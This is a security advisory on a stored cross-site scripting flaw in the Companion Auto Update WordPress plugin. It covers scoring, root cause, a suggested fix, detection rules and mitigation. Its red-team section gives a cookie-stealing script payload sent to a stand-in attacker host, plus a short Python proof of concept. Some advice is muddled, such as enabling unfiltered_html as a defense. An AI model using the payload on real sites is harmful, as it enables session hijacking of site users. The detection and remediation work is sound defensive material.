CVE-2025-4369

Executive Summary

CVE-2025-4369 is a Stored Cross-Site Scripting (XSS) vulnerability in the Companion Auto Update plugin for WordPress, affecting all versions up to and including 3.9.2. The flaw resides in the update_delay_days parameter, which is insufficiently sanitized and escaped. An authenticated attacker with administrator-level access can inject arbitrary web scripts that execute when any user accesses the affected page. This vulnerability is particularly dangerous on multi-site WordPress installations or where unfiltered_html has been disabled. The CVSS score is 5.5 (Medium), and the EPSS probability is 0.0%, indicating low active exploitation at this time. No public exploit code or patch is currently available.

Supply Chain & Package Security

This vulnerability affects the Companion Auto Update WordPress plugin, which is distributed via the official WordPress plugin repository. Administrators should verify the integrity of the plugin files and ensure they are sourced from the official repository. No known supply chain compromise has been reported, but the lack of a patch increases risk for unmaintained installations.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L
• Base Score: 5.5 (Medium)
• Attack Vector (AV): Network – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low – No special conditions required.
• Privileges Required (PR): High – Requires administrator-level access.
• User Interaction (UI): Required – The victim must access the injected page.
• Scope (S): Changed – The injected script can affect other components.
• Confidentiality (C): Low – Limited data exposure.
• Integrity (I): Low – Limited ability to modify data.
• Availability (A): Low – Limited impact on availability.

Threat Level: Medium. The requirement for admin privileges reduces the attack surface, but the stored XSS can persist and affect all users, including lower-privileged ones.

Deep Dive & Mechanics

The vulnerability exists in the update_delay_days parameter, which is used to configure the delay for automatic updates. The plugin fails to properly sanitize user input and escape output when rendering this parameter. An authenticated administrator can inject malicious JavaScript into the parameter value, which is then stored in the WordPress database. When any user (including non-administrators) visits the page that displays this parameter, the injected script executes in their browser context.

Root Cause: Insufficient input sanitization and output escaping in the plugin’s admin interface.

Attack Scenario:

1. An attacker gains administrator access to a WordPress site (e.g., via credential theft or social engineering).
2. The attacker navigates to the Companion Auto Update settings page and sets the update_delay_days parameter to a malicious payload, such as <script>alert('XSS')</script>.
3. The payload is stored in the database.
4. When any user (including lower-privileged users) accesses the settings page or any page that renders this parameter, the script executes.
5. The attacker can steal session cookies, redirect users, or perform other malicious actions.

Affected Component: Companion Auto Update plugin, version <= 3.9.2.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// In vulnerable version, the parameter is not sanitized
$update_delay_days = $_POST['update_delay_days'];
update_option('companion_auto_update_delay', $update_delay_days);
// When rendering:
echo '<input type="text" value="' . $update_delay_days . '" />';

Patched Code (Expected):

// Patched version should sanitize and escape
$update_delay_days = sanitize_text_field($_POST['update_delay_days']);
update_option('companion_auto_update_delay', $update_delay_days);
// When rendering:
echo '<input type="text" value="' . esc_attr($update_delay_days) . '" />';

Note: No official patch is available as of this report. The above is a recommended fix.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Administrator access to a WordPress site with Companion Auto Update plugin <= 3.9.2.
• The site must be a multi-site installation or have unfiltered_html disabled.

Exploitation Steps:

1. Log in as an administrator.
2. Navigate to the Companion Auto Update settings page (typically under Settings > Companion Auto Update).
3. Locate the update_delay_days field.
4. Inject a payload, e.g.:

   <script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
   

5. Save the settings.
6. Any user visiting the settings page will trigger the XSS.

Proof-of-Concept (PoC):

# Simple Python script to demonstrate the attack (requires admin credentials)
import requests

target = "http://target.com/wp-admin/options-general.php?page=companion-auto-update"
payload = "<script>alert('XSS')</script>"
cookies = {"wordpress_logged_in": "admin_session_cookie"}

data = {"update_delay_days": payload}
requests.post(target, cookies=cookies, data=data)

Blue Team (Detection & Defense)

Detection:

• Monitor for unusual changes to the update_delay_days option in the WordPress database.
• Look for HTTP requests containing script tags in the update_delay_days parameter.
• Use WAF rules to block common XSS payloads in admin parameters.

Defense:

• Restrict administrator access to trusted users only.
• Enable unfiltered_html for trusted users if possible.
• Apply input validation and output escaping (see Remediation).
• Use a Web Application Firewall (WAF) to filter malicious input.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/companion-auto-update/ – Check for modified files.
• Database: wp_options table where option_name = 'companion_auto_update_delay' contains script tags.
• Network: HTTP requests to admin pages with update_delay_days parameter containing <script> or onerror attributes.
• Logs: WordPress debug logs showing unexpected script execution.

Detection Engineering

YARA Rule

rule CVE_2025_4369_Stored_XSS {
    meta:
        description = "Detects stored XSS payload in Companion Auto Update plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-4369"
    strings:
        $payload1 = "<script" ascii wide nocase
        $payload2 = "onerror=" ascii wide nocase
        $payload3 = "onload=" ascii wide nocase
        $option_name = "companion_auto_update_delay" ascii wide nocase
    condition:
        $option_name and ($payload1 or $payload2 or $payload3)
}

Sigma Rule

title: Stored XSS in Companion Auto Update Plugin
id: 8a7b3c2d-1e5f-4a6b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects stored XSS attempts via update_delay_days parameter
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'update_delay_days'
        cs-uri-query|contains: 
            - '<script'
            - 'onerror='
            - 'onload='
    condition: selection
falsepositives:
    - Legitimate use of HTML in admin settings (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-4369 Stored XSS in Companion Auto Update"; flow:to_server,established; content:"POST"; http_method; content:"update_delay_days"; http_client_body; pcre:"/(<script|onerror=|onload=)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is available.
2. Restrict administrator access to only trusted users.
3. Enable unfiltered_html for administrators if the site is not multi-site.

Long-term Fix:

• Apply input sanitization using sanitize_text_field() and output escaping using esc_attr() in the plugin code.
• Monitor the plugin repository for an official update.

Workaround:

• Use a Web Application Firewall (WAF) to block XSS payloads in the update_delay_days parameter.
• Implement Content Security Policy (CSP) headers to mitigate script execution.

Valters IT Signature: This report was generated by Valters IT DevSecOps Team. For further analysis, contact security@valters-it.com.